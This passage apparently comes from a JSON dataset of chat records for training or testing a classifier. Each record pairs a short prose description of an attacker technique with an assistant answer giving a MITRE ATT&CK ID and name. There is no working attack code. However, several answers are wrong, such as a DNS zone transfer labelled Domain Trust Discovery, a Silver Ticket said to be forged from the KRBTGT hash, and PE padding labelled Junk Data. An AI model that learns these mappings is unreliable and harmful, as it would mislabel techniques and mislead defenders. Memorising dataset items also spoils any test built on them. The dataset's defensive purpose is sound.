                "content": "Threat actors perform reverse DNS lookups on IP ranges to map the victim’s network topology."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a zero‑day in a digital signature verification process to deliver a tampered executable of a VPN client."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool uses a one-way HTTPS channel to push stolen information to a remote server, keeping the communication stateless."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group employed a ransomware payload that encrypts both local and mapped drives, then displays a ransom note."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group conducts credential stuffing against a popular forum, using compromised credentials sourced from a ransomware leak."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion collects LSASS memory and then extracts the SAM hashes for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group exfiltrates a legitimate admin tool to a new host to facilitate further compromise."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor conducts DNS zone transfer attempts on publicly exposed name servers to enumerate internal hostnames."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware adjusts the registry path for the default browser to point to a malicious executable, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool registers a task called 'DefenderHealthService' that runs attacker code."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a Windows Command Shell one-liner to copy sensitive files to a hidden network share."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware dumps the LSASS process using a tool like ProcDump to harvest password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group plants hidden iframe tags in high‑ranking forum threads, causing browsers to load a malicious payload when the page is accessed via a search engine query."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor utilizes a VBScript that calls the 'Decode' method of the ADODB.Stream object to read obfuscated data."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit gathers service configuration details by reading the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker employs OSINT tools to locate and aggregate the names of executives and staff listed on conference speaker pages."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber actors performed a mass download of SharePoint-hosted contracts after gaining read access."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder tamper with a shared RTF document's template, inserting a script that runs on opening by any employee."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host runs a WMI query \"SELECT * FROM Win32_UserAccount\" to list both local and domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the Windows API function OpenEventLog to list all log files and their contents."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the \"nltest /domain_trusts /all_trusts\" command to retrieve a comprehensive list of domain trusts."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a legitimate remote desktop protocol (RDP) service to maintain persistent access to internal machines from an external location."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries inject malicious macros into a shared Word document uploaded to a corporate SharePoint site."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker configures Outlook to execute a malicious macro via a rule that triggers on incoming messages with a certain subject line, enabling code execution on startup."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed data encryption for impact, using RSA to encrypt the file encryption key before demanding a ransom."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs Terraform automation to provision a snapshot of an existing cloud instance as part of a persistence mechanism."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use PowerShell to terminate the endpoint protection agent and remove its binaries from the system."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Python scripts are used to perform lateral movement by exploiting weak SMB credentials across the network."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker spins up a virtual machine in an obscure AWS region the target never uses, then leverages it to stage lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages the Office 365 Graph API with compromised service account tokens to pull email data."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors corrupt the recovery image files and modify boot configuration data, making it impossible to launch recovery mode."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script collects the output of 'ps aux' on a Linux system to map out running services."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script replaces spaces with backticks and uses variable obfuscation to conceal command arguments."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By queuing an APC in a target thread, the attacker achieves process injection without creating a new process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Windows Defender registry key to set 'DisableAntiSpyware' to 1."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider browses corporate network drives, collects sensitive documents, and prepares them for extraction."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised DNS server’s logging is disabled by the attacker to hide evidence of altered DNS records used for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing payload drops a binary that calls NetUserGetGroups to harvest group membership data."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deletes all System Restore points and disables the System Restore service to block the victim from reverting changes."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates all mounted drives, encrypts data with a random symmetric key, and uploads the key to a C2 server, demanding a ransom for its release."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage CDN cache lookup APIs to enumerate cached resources and map the target's infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign disables the Security Center service to avoid detection before encrypting files."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a custom systemd service named \"update.service\" that launches a hidden payload on system boot."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors plant a malicious USB dongle in a public kiosk, allowing remote code execution whenever it is plugged in."
            },
            {
                "role": "assistant",
                "content": "T1200 - Hardware Additions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvested data from a public SharePoint site that was unintentionally exposed, copying financial reports."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider copies an application refresh token from a configuration file and repeatedly exchanges it for new access tokens to maintain persistent access to the victim's SaaS environment."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used a compromised employee's voice to call the help desk and reset passwords."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script uses hexadecimal representation of characters to hide the true command syntax from analysts."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerability in the authentication service to disable push notification MFA for targeted users, allowing password-only logins."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used Remote Desktop Protocol (RDP) combined with a custom backdoor to gain remote access."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers abuse the default credentials set on a database system to obtain privileged access."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion software iterates over the local file system, collecting sensitive files and placing them in a zip archive on disk."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise uses an app shim that adds a “shimdebug” entry, causing the system to load a backdoor DLL whenever the associated binary is executed."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a 'net user' command to list all local user accounts on the target."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Wireshark to monitor and record network packets to gather credentials."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages WMI event subscriptions to hold encoded scripts that are executed in memory without touching disk."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third-party analytics script silently records authentication tokens entered on a web-based ticketing system."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using msbuild.exe with the /target:Build argument, the adversary runs a malicious inline C# script to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised actors tamper with the Terminal Services DLL to achieve privilege escalation and maintain persistence on domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary utilizes a credential dumping technique to extract sensitive information from a compromised system, such as login credentials or encryption keys."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses sc.exe to create a hidden service that launches a reverse shell on startup."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By stealing the KRBTGT password hash, the intruder creates a forged Kerberos ticket that can be used to authenticate as any account, including administrators."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell script was used to create a new IIS site with a web.config that loads a malicious .NET assembly for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The red team tool creates forged Kerberos tickets (Silver Tickets) using a known KRBTGT hash, bypassing authentication checks on the target service."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a malicious plugin to steal login data from the Mozilla Firefox password manager."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Data is exfiltrated by encoding it in outbound ICMP echo reply packets to evade network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post-exploitation, the actor copies private SSH keys from the victim's home directory to a hidden archive before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider runs a command that enumerates databases and exfiltrates customer data tables."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan adds extraneous, non-functional sections to its PE file to increase entropy and avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes a malicious Word document with a macro that runs automatically on document open, using Office Application Startup to execute code."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a duplicate \"ssh\" executable in a directory that precedes the genuine one in PATH, causing users to run the malicious version."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the 'ldapsearch' tool with stolen credentials to enumerate directory information."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary exploits the MSBuild build engine to launch malicious scripts, employing the trusted developer utilities proxy execution method."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A covert tool sends system telemetry to a remote webhook via HTTP POST, discarding any server response to maintain one‑way communication."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses the internal CMS and replaces the default homepage content with a political statement."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the device registration feature to enroll a fake device, thereby bypassing security controls and sustaining access."
            },
            {
                "role": "assistant",
                "content": "T1098.005 - Account Manipulation: Device Registration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Linux \"at\" command to schedule a malicious script to run later with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
